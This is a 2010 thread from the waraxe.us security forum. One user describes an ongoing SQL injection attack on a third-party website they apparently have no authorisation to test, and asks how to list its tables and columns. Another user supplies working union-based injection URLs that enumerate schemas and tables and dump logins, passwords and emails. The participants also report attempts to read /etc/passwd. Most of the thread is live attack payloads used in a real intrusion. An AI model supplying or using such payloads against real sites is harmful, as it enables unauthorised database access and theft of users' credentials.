Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 15, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 89 Members: 0 Total: 89 Full disclosure SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI 4 vulnerabilities in ibmsecurity 32 vulnerabilities in IBM Security Verify Access xlibre Xnest security advisory & bugfix releases APPLE-SA-10-29-2024-1 Safari 18.1 SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600) SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333) APPLE-SA-10-28-2024-8 visionOS 2.1 APPLE-SA-10-28-2024-7 tvOS 18.1 APPLE-SA-10-28-2024-6 watchOS 11.1 APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1 APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1 IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> Can't display columns in tables View previous topic :: View next topic Can't display columns in tables Posted: Wed Oct 06, 2010 9:17 am RubberDoll Active user Joined: Jun 04, 2009 Posts: 46 Hello again I started an injection on a site. First thing is the basic test didn't expose number of colums, only displayed 2 error messages and 1 missed image Code: http://site.com/show.php?type=model&id=82+order+by+20-- Quote: warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/path/to.site.com/htdocs/show.php on line 6 However, Code: http://site.com/show.php?type=model&id=82+order+by+1-- did not give any errors, so I just increased the numbers, and found it was 6 columns without errors I found the vulnerable column by trial and error, and was able to find database user, the database name and mysql version 5.0.51B-LOG Code: http://site.com/show.php?type=model&id=-82+union+all+select+1,concat(table_name,char(58),column_name),3,4,5,6+from+information_schema.columns-- Quote: CHARACTER_SETS:CHARACTER_SET_NAME I used group_concat and found in the page source the list, but not completed so I decided to first get all table names only, and found checking the source page again, a table name which I believe to be my goal but now, whatever I do to display the columns from that table, I get the first error ( with the path ). in fact, I couldn't view any other tables's columns besides information_schema.columns but that is not a complete list so I don't see the columns in the table I'm interested.. I don't have permission to read files as well, I tried loading /etc/passwd with no result . It deforms the page but nothing in the source.. My questions How to make the injection show all the rest of the tables/columns in information_schema.columns ? or maybe a trick to see the columns from the table I am after? well, I'd love to know both ways :) Thank you. Posted: Tue Oct 12, 2010 10:36 am RubberDoll Active user Joined: Jun 04, 2009 Posts: 46 solved it only took me a week but here is the next problem in the same site: after I've checked the table I wanted, it turned out not to be the members' table, and in fact I didn't find any table with members passes or any other infos the information I got since my first try on this site is user: MEMBERSxxxx@LOCALHOST database: MEMBERSxxxx now, I can't wrap my mind around this concept.. shouldn't I be able to see the tables in this database like so: show.php?type=model&id=-82+union+all+select+1,(table_name),3,4,5,6+from+membersxxxx-- and another question, please. could I, and how, see a list of available databases for this site? please : ) Thank you Posted: Tue Oct 12, 2010 5:40 pm pink_spider Advanced user Joined: Aug 28, 2010 Posts: 91 Hi (: everything good? I think you should first try to attack the 'schemata' the 'information_schema' and then proceed with the attack until the end! Code: http://site.com/show.php?type=model&id-82+union+(select+1,Group_concat(Concat_Ws(0x5c,schema_name)),3,4,5,6+from+information_schema. schemata-- I hope I have helped you! Contact: Pink_spider79@hotmail.com Posted: Tue Oct 12, 2010 5:40 pm pink_spider Advanced user Joined: Aug 28, 2010 Posts: 91 Hi (: everything good? I think you should first try to attack the 'schemata' the 'information_schema' and then proceed with the attack until the end! Code: http://site.com/show.php?type=model&id-82+union+(select+1,Group_concat(Concat_Ws(0x5c,schema_name)),3,4,5,6+from+information_schema. schemata-- I hope I have helped you! Contact: Pink_spider79@hotmail.com Posted: Wed Oct 13, 2010 8:54 am RubberDoll Active user Joined: Jun 04, 2009 Posts: 46 Thank you pink_spider unfortunately not. just an error with path disclose what does this string mean anyway? (I mean, what info I was supposed to get) Thanks again p.s. you also missed a closing parenthese I think Code: (select+1,group_concat(concat_ws(0x5c,schema_name))) but sadly, that didn't work either.. pink_spider wrote: Hi (: everything good? I think you should first try to attack the 'schemata' the 'information_schema' and then proceed with the attack until the end! Code: http://site.com/show.php?type=model&id-82+union+(select+1,Group_concat(Concat_Ws(0x5c,schema_name)),3,4,5,6+from+information_schema. schemata-- I hope I have helped you! Contact: Pink_spider79@hotmail.com Posted: Wed Oct 13, 2010 9:40 am RubberDoll Active user Joined: Jun 04, 2009 Posts: 46 ok.. I figured it out. looked up 'schemata' in google. alas, no good news for me. no users with plaintext passes table Posted: Wed Oct 13, 2010 6:10 pm pink_spider Advanced user Joined: Aug 28, 2010 Posts: 91 Oh sorry ): sure the code would be: Code: http://site.com/show.php?type=model&id-82 union (select 1,GROUP_CONCAT(CONCAT_WS(0x5c,schema_name)),3,4,5,6 from information_schema.schemata)-- or Code: http://site.com/show.php?type=model&id-82 union (select 1,GROUP_CONCAT(CONCAT_WS(0x5c,schema_name)),3,4,5,6) from information_schema.schemata-- You can use the 'schemata' to know the names of 'db' instance: db_name: waraxe.us You go and explore this table to get the logins and passwords users of the forum. Code: http://waraxe.us/sql.php?id=-1 and (Select 1,group_concat(CONCAT_WS(0x5c,login,password,email)),3,4,5,6 from waraxe.us.users-- this is not what most interresa ): try this code! and then post it here if it worked. \ Õ / Code: http://site.com/show.php?type=model&id=-82+union+(select+1,GROUP_CONCAT(table_name),3,4,5,6)+From+INFORMATION_SCHEMA.TABLES+where+table_schema=database()-- I have helped this time (y) Posted: Thu Oct 14, 2010 9:05 am RubberDoll Active user Joined: Jun 04, 2009 Posts: 46 Hello again, pink_spider What makes you think it's a forum? it's not. it's just an adult site ;) Thank you for trying to further help, but I already solved the matter yesterday, and was able to find out which databases exist on that site. However your help didn't go in vain because I found out about schemata. so thanks again :) oh and I tried because you wanted to know about the last code you posted no. nothing found. pink_spider wrote: Oh sorry ): sure the code would be: Code: http://site.com/show.php?type=model&id-82 union (select 1,GROUP_CONCAT(CONCAT_WS(0x5c,schema_name)),3,4,5,6 from information_schema.schemata)-- or Code: http://site.com/show.php?type=model&id-82 union (select 1,GROUP_CONCAT(CONCAT_WS(0x5c,schema_name)),3,4,5,6) from information_schema.schemata-- You can use the 'schemata' to know the names of 'db' instance: db_name: waraxe.us You go and explore this table to get the logins and passwords users of the forum. Code: http://waraxe.us/sql.php?id=-1 and (Select 1,group_concat(CONCAT_WS(0x5c,login,password,email)),3,4,5,6 from waraxe.us.users-- this is not what most interresa ): try this code! and then post it here if it worked. \ Õ / Code: http://site.com/show.php?type=model&id=-82+union+(select+1,GROUP_CONCAT(table_name),3,4,5,6)+From+INFORMATION_SCHEMA.TABLES+where+table_schema=database()-- I have helped this time (y) :oops: Can't display columns in tables www.waraxe.us Forum Index -> Sql injection You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.045 Seconds